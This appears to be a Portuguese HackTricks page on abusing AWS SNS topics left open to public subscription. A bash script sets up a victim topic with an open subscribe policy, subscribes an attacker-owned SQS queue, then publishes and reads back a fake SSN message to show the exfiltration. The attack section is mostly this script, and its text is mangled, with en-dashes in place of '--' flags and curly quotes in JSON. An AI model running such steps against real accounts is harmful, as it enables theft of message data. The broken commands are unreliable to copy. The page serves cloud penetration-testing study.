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SNS

Para mais informações sobre SNS consulte:

AWS - SNS Enum

Aberto a todos

Quando você configura um tópico SNS pelo console web, é possível indicar que Todos podem publicar e se inscrever no tópico:

Portanto, se você encontrar o ARN dos tópicos dentro da conta (ou brute forcing nomes potenciais de tópicos) você pode verificar se consegue publicar ou se inscrever neles.

Isso seria equivalente a uma política de recurso do tópico SNS permitindo sns:Subscribe para * (ou para contas externas); qualquer principal pode criar uma assinatura que entrega todas as mensagens futuras do tópico para uma fila SQS que possua. Quando o proprietário da fila inicia a assinatura, nenhuma confirmação humana é requerida para endpoints SQS.

Reprodução (us-east-1)

```bash REGION=us-east-1 # Victim account (topic owner) VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

Open the topic to anyone subscribing

cat > /tmp/topic-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“OpenSubscribe”,“Effect”:“Allow”,“Principal”:“*”,“Action”:“sns:Subscribe”,“Resource”:“$VICTIM_TOPIC_ARN”}]} JSON aws sns set-topic-attributes –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –attribute-name Policy –attribute-value file:///tmp/topic-policy.json

Attacker account (queue owner)

ATTACKER_Q_URL=$(aws sqs create-queue –queue-name attacker-exfil-queue-$(date +%s) –region $REGION –query QueueUrl –output text) ATTACKER_Q_ARN=$(aws sqs get-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attribute-names QueueArn –query Attributes.QueueArn –output text)

Allow the victim topic to send to the attacker queue

cat > /tmp/sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowVictimTopicSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$ATTACKER_Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$VICTIM_TOPIC_ARN”}}}]} JSON aws sqs set-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attributes Policy=“$(cat /tmp/sqs-policy.json)”

SUB_ARN=$(aws sns subscribe –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –protocol sqs –notification-endpoint “$ATTACKER_Q_ARN” –query SubscriptionArn –output text)

Validation: publish and receive

aws sns publish –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –message {pii:ssn:123-45-6789} aws sqs receive-message –queue-url “$ATTACKER_Q_URL” –region $REGION –max-number-of-messages 1 –wait-time-seconds 10 –query Messages[0].Body –output text

</details>

> [!TIP]
> Aprenda e pratique AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoie o HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Participe do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ou do [**telegram group**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe hacking tricks enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>